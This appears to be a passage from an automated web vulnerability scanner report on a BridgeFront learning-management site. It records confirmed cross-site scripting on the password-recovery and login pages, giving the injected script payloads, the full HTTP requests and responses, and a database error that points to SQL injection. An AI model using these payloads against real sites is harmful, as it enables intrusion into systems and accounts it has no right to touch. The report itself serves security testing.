checkPreRequisites(){if (!FlashPChk || !IBChk || !IBVChk || !CookiesChk){//return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009}return true;}</script><noscript> <H1>Your browser does not support Javascript</H1>This page will not function correctly. </noscript> <style> .homepageborder{ border: 1px solid #A9C2C1; } .AnnouncementTitle { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleRed { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #FF0000; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleGreen { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #00AA00; text-align: left; text-indent: 2pt; vertical-align: middle; } .AnnouncementTitleBold { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 14px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } </style> <script> <!-- // Everything you always wanted to know about your JavaScript client // but were afraid to ask. Creates "is_" variables indicating: // (1) browser vendor: // is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV // (2) browser version number: // is_major (integer indicating major version number: 2, 3, 4 ...) // is_minor (float indicating full version number: 2.02, 3.01, 4.04 ...) // (3) browser vendor AND major version number // is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, // is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, // is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up // (4) JavaScript version number: // is_js (float indicating full JavaScript version number: 1, 1.1, 1.2 ...) // (5) OS platform and version: // is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k // is_os2 // is_mac, is_mac68k, is_macppc // is_unix // is_sun, is_sun4, is_sun5, is_suni86 // is_irix, is_irix5, is_irix6 // is_hpux, is_hpux9, is_hpux10 // is_aix, is_aix1, is_aix2, is_aix3, is_aix4 // is_linux, is_sco, is_unixware, is_mpras, is_reliant // is_dec, is_sinix, is_freebsd, is_bsd // is_vms // // See http://www.it97.de/JavaScript/JS_tutorial/bstat/navobj.html and // http://www.it97.de/JavaScript/JS_tutorial/bstat/Browseraol.html // for detailed lists of userAgent strings. // // Note: you don't want your Nav4 or IE4 code to "turn off" or // stop working when new versions of browsers are released, so // in conditional code forks, use is_ie5up ("IE 5.0 or greater") // is_opera5up ("Opera 5.0 or greater") instead of is_ie5 or is_opera5 // to check version in code which you want to work on future // versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *** BROWSER VERSION *** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // Note: Opera and WebTV spoof Navigator. We do strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav6 = (is_nav && (is_major == 5)); var is_nav6up = (is_nav && (is_major >= 5)); var is_gecko = (agt.indexOf('gecko') != -1); var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) ); var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1)); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5); var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) ); var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5); var is_ie7 = (is_ie && (is_major == 4) && (agt.indexOf("msie 7.")!=-1) ); // KNOWN BUG: On AOL4, returns false if IE3 is embedded browser // or if this is the first browser window opened. Thus the // variables is_aol, is_aol3, and is_aol4 aren't 100% reliable. var is_aol = (agt.indexOf("aol") != -1); var is_aol3 = (is_aol && is_ie3); var is_aol4 = (is_aol && is_ie4); var is_aol5 = (agt.indexOf("aol 5") != -1); var is_aol6 = (agt.indexOf("aol 6") != -1); var is_opera = (agt.indexOf("opera") != -1); var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1); var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1); var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1); var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1); var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4); var is_webtv = (agt.indexOf("webtv") != -1); var is_TVNavigator = ((agt.indexOf("navio") != -1) || (agt.indexOf("navio_aoltv") != -1)); var is_AOLTV = is_TVNavigator; var is_hotjava = (agt.indexOf("hotjava") != -1); var is_hotjava3 = (is_hotjava && (is_major == 3)); var is_hotjava3up = (is_hotjava && (is_major >= 3)); // *** JAVASCRIPT VERSION CHECK *** var is_js; if (is_nav2 || is_ie3) is_js = 1.0; else if (is_nav3) is_js = 1.1; else if (is_opera5up) is_js = 1.3; else if (is_opera) is_js = 1.1; else if ((is_nav4 && (is_minor <= 4.05)) || is_ie4) is_js = 1.2; else if ((is_nav4 && (is_minor > 4.05)) || is_ie5) is_js = 1.3; else if (is_hotjava3up) is_js = 1.4; else if (is_nav6 || is_gecko) is_js = 1.5; // NOTE: In the future, update this code when newer versions of JS // are released. For now, we try to provide some upward compatibility // so that future versions of Nav and IE will show they are at // *least* JS 1.x capable. Always check for JS version compatibility // with > or >=. else if (is_nav6up) is_js = 1.5; // NOTE: ie5up on mac is 1.4 else if (is_ie5up) is_js = 1.3 // HACK: no idea for other browsers; always check for JS version with > or >= else is_js = 0.0; // *** PLATFORM *** var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) ); // NOTE: On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all // Win32, so you can't distinguish between Win95 and WinNT. var is_win95 = ((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)); // is this a 16 bit compiled version? var is_win16 = ((agt.indexOf("win16")!=-1) || (agt.indexOf("16bit")!=-1) || (agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("windows 16-bit")!=-1) ); var is_win31 = ((agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("win16")!=-1) || (agt.indexOf("windows 16-bit")!=-1)); var is_winme = ((agt.indexOf("win 9x 4.90")!=-1)); var is_win2k = ((agt.indexOf("windows nt 5.0")!=-1)); // NOTE: Reliable detection of Win98 may not be possible. It appears that: // - On Nav 4.x and before you'll get plain "Windows" in userAgent. // - On Mercury client, the 32-bit version will return "Win98", but // the 16-bit version running on Win98 will still return "Win95". var is_win98 = ((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)); var is_winnt = ((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)); var is_win32 = (is_win95 || is_winnt || is_win98 || ((is_major >= 4) && (navigator.platform == "Win32")) || (agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1)); var is_os2 = ((agt.indexOf("os/2")!=-1) || (navigator.appVersion.indexOf("OS/2")!=-1) || (agt.indexOf("ibm-webexplorer")!=-1)); var is_mac = (agt.indexOf("mac")!=-1); // hack ie5 js version for mac if (is_mac && is_ie5up) is_js = 1.4; var is_mac68k = (is_mac && ((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1))); var is_macppc = (is_mac && ((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1))); var is_sun = (agt.indexOf("sunos")!=-1); var is_sun4 = (agt.indexOf("sunos 4")!=-1); var is_sun5 = (agt.indexOf("sunos 5")!=-1); var is_suni86= (is_sun && (agt.indexOf("i86")!=-1)); var is_irix = (agt.indexOf("irix") !=-1); // SGI var is_irix5 = (agt.indexOf("irix 5") !=-1); var is_irix6 = ((agt.indexOf("irix 6") !=-1) || (agt.indexOf("irix6") !=-1)); var is_hpux = (agt.indexOf("hp-ux")!=-1); var is_hpux9 = (is_hpux && (agt.indexOf("09.")!=-1)); var is_hpux10= (is_hpux && (agt.indexOf("10.")!=-1)); var is_aix = (agt.indexOf("aix") !=-1); // IBM var is_aix1 = (agt.indexOf("aix 1") !=-1); var is_aix2 = (agt.indexOf("aix 2") !=-1); var is_aix3 = (agt.indexOf("aix 3") !=-1); var is_aix4 = (agt.indexOf("aix 4") !=-1); var is_linux = (agt.indexOf("inux")!=-1); var is_sco = (agt.indexOf("sco")!=-1) || (agt.indexOf("unix_sv")!=-1); var is_unixware = (agt.indexOf("unix_system_v")!=-1); var is_mpras = (agt.indexOf("ncr")!=-1); var is_reliant = (agt.indexOf("reliantunix")!=-1); var is_dec = ((agt.indexOf("dec")!=-1) || (agt.indexOf("osf1")!=-1) || (agt.indexOf("dec_alpha")!=-1) || (agt.indexOf("alphaserver")!=-1) || (agt.indexOf("ultrix")!=-1) || (agt.indexOf("alphastation")!=-1)); var is_sinix = (agt.indexOf("sinix")!=-1); var is_freebsd = (agt.indexOf("freebsd")!=-1); var is_bsd = (agt.indexOf("bsd")!=-1); var is_unix = ((agt.indexOf("x11")!=-1) || is_sun || is_irix || is_hpux || is_sco ||is_unixware || is_mpras || is_reliant || is_dec || is_sinix || is_aix || is_linux || is_bsd || is_freebsd); var is_vms = ((agt.indexOf("vax")!=-1) || (agt.indexOf("openvms")!=-1)); var is_java = (navigator.javaEnabled()) ? true : false; var is_cookie = (navigator.cookieEnabled) ? true : false; //--> end hide JavaScript </script> <script language="JavaScript"> // this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { msie_windows = 1; document.writeln('<script language="VBscript">'); document.writeln('\'This will scan for plugins for all versions of Internet Explorer that have a VBscript engine version 2 or greater.'); document.writeln('\'This includes all versions of IE4 and beyond and some versions of IE 3.'); document.writeln('Dim WM_detect_through_vb'); document.writeln('WM_detect_through_vb = 0'); document.writeln('If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_detect_through_vb = 1'); document.writeln('End If'); document.writeln('Function WM_activeXDetect(activeXname)'); document.writeln(' on error resume next'); document.writeln(' If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' WM_activeXDetect = IsObject(CreateObject(activeXname))'); document.writeln(' If (err) then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln(' Else'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln('End Function'); document.writeln(WM_startTagFix+'script>'); } /* This script block will test all user agents that have a real plug-in array (i.e. Netscape) and set the variables, otherwise it directs the routine to WM_activeXDetect to detect the activeX control. */ function WM_pluginDetect(plugindescription, pluginxtension, pluginmime, activeXname) { var i,plugin_undetectable=0,detected=0, daPlugin=new Object(); /* Then we check to see if it's an MSIE browser that you can actually check for the plugin in question. */ if (msie_windows && WM_detect_through_vb){ plugin_undetectable = 0; } else { plugin_undetectable = 1; } /* If it has a real plugins or mimetypes array, we look there for the plugin first */ if(navigator.plugins) { numPlugins = navigator.plugins.length; if (numPlugins > 1) { if (navigator.mimeTypes && navigator.mimeTypes[pluginmime] && navigator.mimeTypes[pluginmime].enabledPlugin && (navigator.mimeTypes[pluginmime].suffixes.indexOf(pluginxtension) != -1)) { // seems like we have it, let's just make sure and check the version (if specified) if ((navigator.appName == 'Netscape') && (navigator.appVersion.indexOf('4.0') != -1)) { for(i in navigator.plugins) { if ((navigator.plugins[i].description.indexOf(plugindescription) != -1) || (i.indexOf(plugindescription) != -1)) { // some versions of quicktime have no description. feh! detected=1; break; } } } else { for (i = 0; i < numPlugins; i++) { daPlugin = navigator.plugins[i]; if ((daPlugin.description.indexOf(plugindescription) != -1) || (daPlugin.name.indexOf(plugindescription) != -1)) { detected=1; break; } } } // Mac weirdness if (navigator.mimeTypes[pluginmime] == null) { detected = 0; } } return detected; } else if((msie_windows == 1) && !plugin_undetectable) { return WM_activeXDetect(activeXname); } else { return 0; } } else { return 0; } } </script> <script> <!-- var hasFlash = WM_pluginDetect('Flash', 'swf', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash'); var flashVersion = 0; if(WM_pluginDetect('Flash 9', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.9')) { flashVersion = 9; }else if(WM_pluginDetect('Flash 8', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.8')) { flashVersion = 8; }else if(WM_pluginDetect('Flash 7', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.7')) { flashVersion = 7; }else if(WM_pluginDetect('Flash 6', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.6')) { flashVersion = 6; } else if(WM_pluginDetect('Flash 5', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.5')) { flashVersion = 5; } else if(WM_pluginDetect('Flash 4', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.4')) { flashVersion = 4; } else if(WM_pluginDetect('Flash 3', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.3')) { flashVersion = 3; } else if(WM_pluginDetect('Flash 2', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.2')) { flashVersion = 2; } //--> var IBChk=false,IBVChk=false,CookiesChk=false,FlashPChk=false,JREChk=false,PopupBChk=false </script></head><body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="eval('document.loginform.replace0_ul_').focus();" class="loginbodyB..
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nul..

Parameters

Parameter Type Value
button1 GET Get Password
button2 GET Get User Name
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET '"--></style></script><script>alert(0x000222)</script>
replace1_ul_ GET 3
totalvalues GET 3

Request

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000222)%3C/script%3E&replace1_ul_=3&totalvalues=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=208221C98B07F88CDA0AA64095CED35F
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:19:18 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6900
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000222)%3C/script%3E&replace1_ul_=3&totalvalues=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: unterminated quoted identifier at or near ""--></style></script><script>netsparker(0x000222)</script>'" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /login.jsp

/login.jsp CONFIRMED

http://learn.bridgefront.com/login.jsp?reason=loginfailed&uid='%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
reason GET loginfailed
uid GET '"--></style></script><script>alert(0x000227)</script>

Request

GET /login.jsp?reason=loginfailed&uid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000227)%3C/script%3E HTTP/1.1
Referer: http://learn.bridgefront.com/logincontroller
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=208221C98B07F88CDA0AA64095CED35F
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:19:20 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <title>BridgeFront | LMS | Login</title><link href="/lscheme/default/css/Learner.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/LearnerSideJsFunctions.js"></script><link rel="shortcut icon" href="favicon.ico"><script>var lmsDown = false; COPYRIGHT = "&copy; BridgeFront, 2002-"; function writeCopyright() { document.write(COPYRIGHT, new Date().getFullYear()); }function submitkeyform(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} if(document.getElementById("replace2_ul_").value==""){ document.getElementById("spanreplace2_ul_").innerHTML="Key cannot be empty"; return false; }else{ if(isAnyText(document.getElementById("replace2_ul_"),MANDATORY,"Reistration Key")){ return true; } } document.getElementById("replace2_ul_").value=""; return false; }function specialValidation(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} var val1, val2; var normalValidationFlag = true; val1 = document.getElementById('replace0_ul_').value; val2 = document.getElementById('replace1_ul_').value; if(val1==''){ document.getElementById("spanreplace0_ul_").innerHTML="Username cannot be empty"; normalValidationFlag = false; } if(val2==''){ document.getElementById("spanreplace1_ul_").innerHTML="Password cannot be empty"; normalValidationFlag = false; } return normalValidationFlag;}function checkPreRequisites(){if (!FlashPChk || !IBChk || !IBVChk || !CookiesChk){//return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009}return true;}</script><noscript> <H1>Your browser does not support Javascript</H1>This page will not function correctly. </noscript> <style> .homepageborder{ border: 1px solid #A9C2C1; } .AnnouncementTitle { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleRed { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #FF0000; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleGreen { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #00AA00; text-align: left; text-indent: 2pt; vertical-align: middle; } .AnnouncementTitleBold { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 14px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } </style> <script> <!-- // Everything you always wanted to know about your JavaScript client // but were afraid to ask. Creates "is_" variables indicating: // (1) browser vendor: // is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV // (2) browser version number: // is_major (integer indicating major version number: 2, 3, 4 ...) // is_minor (float indicating full version number: 2.02, 3.01, 4.04 ...) // (3) browser vendor AND major version number // is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, // is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, // is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up // (4) JavaScript version number: // is_js (float indicating full JavaScript version number: 1, 1.1, 1.2 ...) // (5) OS platform and version: // is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k // is_os2 // is_mac, is_mac68k, is_macppc // is_unix // is_sun, is_sun4, is_sun5, is_suni86 // is_irix, is_irix5, is_irix6 // is_hpux, is_hpux9, is_hpux10 // is_aix, is_aix1, is_aix2, is_aix3, is_aix4 // is_linux, is_sco, is_unixware, is_mpras, is_reliant // is_dec, is_sinix, is_freebsd, is_bsd // is_vms // // See http://www.it97.de/JavaScript/JS_tutorial/bstat/navobj.html and // http://www.it97.de/JavaScript/JS_tutorial/bstat/Browseraol.html // for detailed lists of userAgent strings. // // Note: you don't want your Nav4 or IE4 code to "turn off" or // stop working when new versions of browsers are released, so // in conditional code forks, use is_ie5up ("IE 5.0 or greater") // is_opera5up ("Opera 5.0 or greater") instead of is_ie5 or is_opera5 // to check version in code which you want to work on future // versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *** BROWSER VERSION *** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // Note: Opera and WebTV spoof Navigator. We do strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav6 = (is_nav && (is_major == 5)); var is_nav6up = (is_nav && (is_major >= 5)); var is_gecko = (agt.indexOf('gecko') != -1); var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) ); var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1)); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5); var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) ); var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5); var is_ie7 = (is_ie && (is_major == 4) && (agt.indexOf("msie 7.")!=-1) ); // KNOWN BUG: On AOL4, returns false if IE3 is embedded browser // or if this is the first browser window opened. Thus the // variables is_aol, is_aol3, and is_aol4 aren't 100% reliable. var is_aol = (agt.indexOf("aol") != -1); var is_aol3 = (is_aol && is_ie3); var is_aol4 = (is_aol && is_ie4); var is_aol5 = (agt.indexOf("aol 5") != -1); var is_aol6 = (agt.indexOf("aol 6") != -1); var is_opera = (agt.indexOf("opera") != -1); var is_opera2 = (agt.indexOf("opera 2") != -1 || 